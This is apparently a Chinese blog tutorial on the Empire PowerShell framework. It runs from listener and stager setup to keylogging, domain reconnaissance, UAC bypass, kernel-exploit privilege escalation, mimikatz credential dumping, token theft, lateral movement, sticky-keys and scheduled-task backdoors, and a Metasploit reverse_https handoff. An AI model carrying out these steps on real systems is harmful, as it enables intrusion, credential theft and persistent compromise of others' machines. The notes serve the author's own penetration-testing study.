Facebook Twitter Linkedin YouTube VK Xing

empire学习

Empire是一个针对windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架,在域渗透中有很大作用,这里主要是通过安全客上的文章进行简单的学习吧
文章链接:
https://www.anquanke.com/post/id/87328
https://www.anquanke.com/post/id/87333

安装

git clone https://github.com/EmpireProject/Empire.git
cd Empire
cd setup
sudo ./install.sh

如果使用的时候报缺少module,就用pip装一下

pip install -r requirments.txt

安装完了直接./empire就可以了
blacsheep

设置监听

进入empire之后可以help查看帮助

blacsheep

一般来说使用步骤就是先设置一个监听,然后去生成一个木马,在目标主机上面运行这个木马,我们这边就可以得到反弹的shell了

那么我们首先进入监听线程页面
blacsheep

然后可以uselistener,这里我们选择http
blacsheep

可以输入info查看配置,用set可以进行设置
然后我们可以set一下名字,为了方便我就用他的名字了
然后ip这里是我们的本机ip,所以并不需要配置
blacsheep

完成了之后可以开始监听了,注意,要是之前开了80端口的话先关掉
blacsheep

然后我们back回去list可以查看监听
blacsheep

想要删除可以直接用kill
blacsheep

这里注意,如果要开多个监听的话必须使用不同的名字和端口.

生成木马

监听设置好了,就去生成木马去目标机器上面运行就好了
我们用usestagger来查看模块

blacsheep

这里multi是通用,osx是mac系统的,windows就是windows的,下面对几种类型的木马讲解一下

dll

直接use一下,然后info看下配置
blacsheep
设置一下listener,然后生成文件
blacsheep
即可生成而恶意dll,不过我实验之后并没有返回agent,之后再看吧

launcher

当仅仅只是需要一段简单的代码的时候,可以直接在listen界面使用launcher
比如
blacsheep

到目标机器上面去运行,然后就有一段连接信息
blacsheep

切换到agents,然后就可以interact连上去

blacsheep

launcher_vbs

一样的,选择stagger的时候用vbs,然后set好参数,execute生成文件,然后目标主机去运行
blacsheep

其他

后面还有bat,macro和ducky
bat和macro都可以插入到word里面,不过会报宏病毒…

可以自己去尝试

信息收集

empire主要用于后渗透,那么信息收集就是很重要的模块了,我们可以searchmodule命令来搜索相应的模块(就像msf的search)

同样我们可以usemodule 然后tab来查看一些module,我们searchmodule collection,得到返回
blacsheep

截图

我们使用screenshot,info查看信息
blacsheep

然后设置好agent之后execute就可以了
blacsheep

图片存在了/Empire/downloads/BA3HM8WF/screenshot
blacsheep

键盘记录

usemodule powershell/collection/keylogger

我们直接execute就好,然后在interact之后可以用jobs命令看见我们挂在后台的操作,而且可以jobs kill JOBS_ID来杀掉进程
blacsheep

在keystrokes.txt中可以看到我们的键盘记录
blacsheep

剪切板记录

(Empire: HR6YCPW3) > usemodule collection/clipboard_monitor

然后info查看一下,直接execute
blacsheep

查看域共享

(Empire: HR6YCPW3) > usemodule situational_awareness/network/powerview/share_finder

然后有一些配置,需要的话可以自己配置一下,我这里直接execute了,不过由于没有搭建域环境,所以没有东西
blacsheep

主机相关信息

(Empire: HR6YCPW3) > usemodule situational_awareness/host/winenum

可以查看本机用户,域组成员,最后密码设置时间,剪贴板内容,系统基本系统信息,网络适配器信息,共享信息等等

blacsheep

arp扫描

(Empire: HR6YCPW3) > usemodule situational_awareness/network/arpscan

需要注意的是这里需要设置Range参数

(Empire: powershell/situational_awareness/network/arpscan) > set Range 10.0.2.0-10.0.2.254

blacsheep

dns信息获取

内网dns反查

在内网中,知道所有机器的HostName和对应的IP地址对分析内网结构至关重要

(Empire: HR6YCPW3) > usemodule situational_awareness/network/reverse_dns

同样,注意设置一下Range
blacsheep

查询dns服务器

(Empire: HR6YCPW3) > usemodule situational_awareness/host/dnsserver

不需要参数,直接查询即可
blacsheep

查找域管登录服务器ip

内网渗透中,拿到一台内网机想要获得域管权限有一种方法就是横向渗透,拿下域管登录的机子然后横向渗透进去,窃取域管的权限从而拿下整个域.

这个模块就是用来查找域管登录过的服务器的ip的

(Empire: HR6YCPW3) > usemodule situational_awareness/network/powerview/user_hunter

然后execute即可,我本地没有搭建环境,没有相关信息

本地管理组访问

(Empire: F8AT9WYP) > usemodule situational_awareness/network/powerview/find_localadmin_access

blacsheep

获取域控制器

假如我们成功地拿到了域用户权限,那么可以来找域控

(Empire: F8AT9WYP) > usemodule situational_awareness/network/powerview/get_domain_controller

blacsheep

提权

Windows在Vista系统开始引入UAC账户控制体系

高:完整的管理员权限
中:标准用户权限
低:很低的权限

即使当前用户是本地管理员,双击运行大部分应用程序时也是以标准用户权限运行的(除非右击-选择以管理员身份运行)。所以即使我们获得的权限是本地管理员权限,也没有办法执行一些命令(特殊注册表写入、LSASS读取/写入等等),所以渗透的第一步便是提权,提权的前提便是知道自己拥有什么权限,可以输入以下命令来查询

whoami /groups

显示的如果是High Mandatory Level表示是管理员权限,Medium Mandatory Level则是普通用户权限

我这里是普通用户
blacsheep

bypassuac

(Empire: F8AT9WYP) > usemodule privesc/bypassuac

info之后记得设置listener,因为这里会上线一个新的反弹
blacsheep

回到agents查看
带了*号的是提权成功的
blacsheep

我们interact上去
blacsheep
发现权限已经是high了

bypassuac_wscript

这个模块大概原理是使用c:Windowswscript.exe执行payload,实现管理员权限执行payload,绕过UAC。只适用于系统为Windows 7,目前尚没有对应补丁(17年11月),部分杀毒软件会有提示。
blacsheep

如下图所示,带型号的即为提权成功的。
blacsheep

interact然后查看一下
blacsheep

提权成功

ms16-032

empire自带了ms16-032模块,use一下设置一下listener,execute即可提权,不过我这里是虚拟机,提示要求两核以上的CPU才能提权
blacsheep

ms16-135

同理使用,不过提醒一下,运行的时候受害者桌面会闪屏,而且有蓝屏的可能,我测试的时候第一次是蓝屏,不过第二次成功了
blacsheep
成功之后,显示的是system权限
blacsheep

powerup

Empire内置了PowerUp部分工具,用于系统提权,主要为Windows错误系统配置漏洞,Windows Services漏洞,AlwaysInstallElevated漏洞等8种提权方式,输入“usemodule privesc/powerup”然后按Tab键来查看完整列表,如下图所示。
blacsheep

allchecks

如何查找上述的漏洞,我们就可以使用allchecks

(Empire: 96XZYBKD) > usemodule privesc/powerup/allchecks

直接execute即可
blacsheep

测试一下bypassuac,成功返回高权限

文档

官方说明如下:

l 对于任何没有引号的服务路径问题

l 对于ACL配置错误的任何服务(可通过service_ *利用 )

l 服务可执行文件上的任何不当权限(可通过service_exe_ *进行利用)

l 对于任何剩余的unattend.xml文件

l 如果AlwaysInstallElevated注册表项设置

l 如果有任何Autologon凭证留在注册表中

l 用于任何加密的web.config字符串和应用程序池密码

l 对于任何%PATH%.DLL劫持机会(可通过write_dllhijacker利用)

gpp

在域里面很多都会启用组策略首选项来执行本地密码更改,以便于管理和映像部署。缺点是任何普通域用户都可以从相关域控制器的SYSVOL中读取到部署信息。虽然他是采用AES 256加密的,使用usemodule privesc/gpp

(Empire: 96XZYBKD) > usemodule privesc/gpp

blacsheep

横向渗透

令牌窃取

mimikatz

获取到了服务器的权限之后,我们可以使用mimikatz获取系统密码
blacsheep

然后creds就可以获取到hash密码甚至明文密码了
blacsheep

steal_token

假如域用户在这个服务器上面登录过,那我们就可以去窃取域用户的身份令牌,比如我们这里执行pth <ID>,这里的ID是creds前面的id
blacsheep

然后可以看到pid,我们直接steal_token pid
blacsheep

同样我们也可以ps获取进程
blacsheep
如果有域内的用户的进程,那么我们就可以steal_token来获取令牌
blacsheep

当然,要将令牌权限恢复到原来的状况的话我们可以用revtoself
blacsheep

会话注入

usemodule management/psinject

感觉和前面的steal_token差不多
info的时候设置一下Listener和ProcId
blacsheep

然后反弹回来一个会话
blacsheep

Invoke-PsExec

缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。

使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网

usemodule lateral_movement/invoke_psexec

然后set好计算机的名称和Listener即可

这里我本地失败了,就不截图了

Invoke-WMI

它比PsExec安全,所有window系统启用该服务,当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。但防火墙开启将会无法连接。输入usemodule lateral_movement/invoke_wmi,使用该模块,输入info命令查看具体参数,如下图所示
blacsheep

然后执行了恶意代码
blacsheep

WMI还有一个usemodule lateral_movement/invoke_wmi_debugger模块,是使用WMI去设置五个Windows Accessibility可执行文件中任意一个的调试器。这些可执行文件包括sethc.exe(粘滞键,五下shift可触发),narrator.exe(文本转语音,Utilman接口激活)、Utilman.exe(windows辅助管理器,Win+U启用),Osk.exe(虚拟键盘,Utilman接口启用)、Magnify.exe(放大镜,Utilman接口启用)。大家也可以尝试一下。

Powershell Remoting(5985端口)

PowerShell remoting是Powershell的远程管理功能,开启Windows远程管理服务WinRM会监听5985端口,该服务默认在Windows Server 2012中是启动的,在Windows Server 2003、2008和2008 R2需要通过手动启动

如果启用了这个服务,那我们就可以用

usemodule lateral_movement/invoke_psremoting

set好参数即可

后门

权限持久性劫持shift后门

粘置键后门

usemodule lateral_movement/invoke_wmi_debuggerinfo

然后set好listener和computer name,然后target binary设置sethc.exe,execute成功之后有提醒,然后去靶机上按shift就反弹shell回来了
blacsheep

注意:sethc.exe这里有几个可以替换的选项。

A.Utilman.exe(快捷键为: Win + U)

B.osk.exe(屏幕上的键盘Win + U启动再选择)

C.Narrator.exe (启动讲述人Win + U启动再选择)

D.Magnify.exe(放大镜Win + U启动再选择)

注册表注入后门

这里我只是set了一个listener
blacsheep
重新登录系统的时候运行了恶意代码,直接反了一个shell
不过登录的时候黑框还是蛮明显的

blacsheep

计划任务获得权限

usemodule persistence/elevated/schtasks

设置一下时间和Listener,然后就可以返回agent了
但是杀软会报提示
blacsheep
然后就返回agent了
blacsheep
可以看到权限是System
blacsheep

这里如果把set RegPath 的参数改为前面的注册表参数,那么就会在相应时间添加一个注册表注入后门,大家可以练习一下。

反弹meterpreter

使用

usemodule code_execution/invoke_shellcode

填好lhost和lport,他的payload默认是https,不管就ok
blacsheep

然后去msf设置一下监听

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf exploit(multi/handler) > set lhost xx.xx.xx.xx
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run

返回empire进行execute

blacsheep

然后metasploit上面就反了一个meterpreter
blacsheep

总结

简单地对empire进行一个学习,也是对渗透学习的一个补充,后续可能还会对metasploit进行一个深入学习,挖坑待填吧…

Leave a Reply

Your email address will not be published.Required fields are marked *

%d 博主赞过: